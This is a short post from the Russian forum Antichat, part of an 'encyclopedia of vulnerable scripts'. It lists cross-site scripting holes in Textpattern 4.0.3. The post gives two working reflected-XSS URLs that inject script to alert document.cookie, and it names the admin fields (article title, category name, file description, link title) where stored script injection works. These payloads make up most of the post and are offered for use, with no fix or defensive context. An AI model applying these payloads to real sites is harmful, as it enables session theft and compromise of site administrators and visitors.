Форум АНТИЧАТ - Показать сообщение отдельно - Энциклопедия уязвимых скриптов

Textpattern v.4.0.3

Passive XSS

Код:

http://localhost/textpattern/index.php?event=tag&name=image&id=1&ext=</textarea><script>alert(document.cookie)</script>&alt=&h=1&w=400&type=textile

Код:

http://localhost/textpattern/index.php?event=log&step=list&page=1<script>alert(document.cookie)</script>

Active XSS
Написать новую статью => http://localhost/textpattern/index.php?event=article => в заголовок вставляем код

Код:

<script>alert()</script> или </title><script>alert()</script>

Категории => уязвимо поле "Название".

Файлы => поле "Описание".

Ссылки => поля "Заголовок" и "Описание".

(c) iddqd